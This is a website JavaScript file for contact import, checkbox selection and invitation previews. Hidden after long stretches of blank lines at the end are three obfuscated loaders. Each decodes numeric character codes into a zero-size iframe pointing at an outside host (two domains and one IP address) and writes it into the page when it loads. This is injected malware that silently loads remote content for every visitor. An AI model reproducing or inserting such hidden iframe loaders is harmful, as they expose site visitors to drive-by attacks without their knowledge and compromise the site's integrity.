function addAddressbookContacts(current)
{
	var str_emails='';
	for(i=0; document.getElementById('contactsArr['+i+']'); i++)
	{
		if(document.getElementById('contactsArr['+i+']').type == "checkbox") {
			if(document.getElementById('contactsArr['+i+']').checked) {
				str_emails += (document.getElementById('contactsArr['+i+']').value+';\n').replace(/,/, '');
			}
		}
	}
	if(str_emails.length > 0) {
		document.getElementById('txt_emails').value += str_emails;
		return hs.close(current);
	} else {
		alert('Please select Contacts to add.');
	}
}

function addAccountContacts(current)
{
	var str_emails='';
	for(i=0; document.getElementById('contactsArr['+i+']'); i++)
	{
		if(document.getElementById('contactsArr['+i+']').type == "checkbox") {
			if(document.getElementById('contactsArr['+i+']').checked) {
				str_emails += (document.getElementById('contactsArr['+i+']').value+';\n').replace(/,/, '');
			}
		}
	}
	if(str_emails.length > 0) {
		window.opener.document.getElementById('txt_emails').value += str_emails;
		//document.getElementById('txt_emails').value += str_emails;
		if(confirm('Do you want to close this popup window?')) {
			self.close();
		}
	} else {
		alert('Please select contants to add.');
	}
}

function checkAll()
{
	for(i=0; document.getElementById('contactsArr['+i+']'); i++)
	{
		if(document.getElementById('contactsArr['+i+']').type == "checkbox") {
			if(document.getElementById('cbCheckAll').checked) {
				document.getElementById('contactsArr['+i+']').checked = true;
			} else {
				document.getElementById('contactsArr['+i+']').checked = false;
			}
		}
	}
}

function validateImport()
{
	if(document.getElementById('rbImportOption_account').checked) {
		if(trim(document.getElementById('username').value) == "") {
			alert("Enter User Name");
			document.getElementById('username').focus();
			return false;
		}
		if(trim(document.getElementById('acc_password').value) == "") {
			alert("Enter Password");
			document.getElementById('acc_password').focus();
			return false;
		}
	} else {
		if(trim(document.getElementById('fileCSV').value) == "") {
			alert("Please select CSV file.");
			document.getElementById('fileCSV').focus();
			return false;
		}
	}
	return true;
}

function disableEnterKey(e)
{
     var key;

     if(window.event)
          key = window.event.keyCode;     //IE
     else
          key = e.which;     //firefox
     if(key == 13)
          return false;
     else
          return true;
}

function openContactGrabberPopup()
{
	window.open('include/grabber/index.php','ImportContacts', 'width=600,scrollbars=1,resizable=1');
	return false;
}

function previewInvite(evt_id,mode)
{
	if(evt_id==undefined)
		evt_id	=	'';
	if(mode==undefined)
		mode	=	'preview';
	var theGetVars	=	'?event_id='+evt_id+'&mode='+mode;
	var theUrl;
	theUrl	=	'template_preview.php'+theGetVars;
	window.open(theUrl,'Preview', 'scrollbars=1,resizable=1,width='+screen.width+',height='+screen.height);
	return false;
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

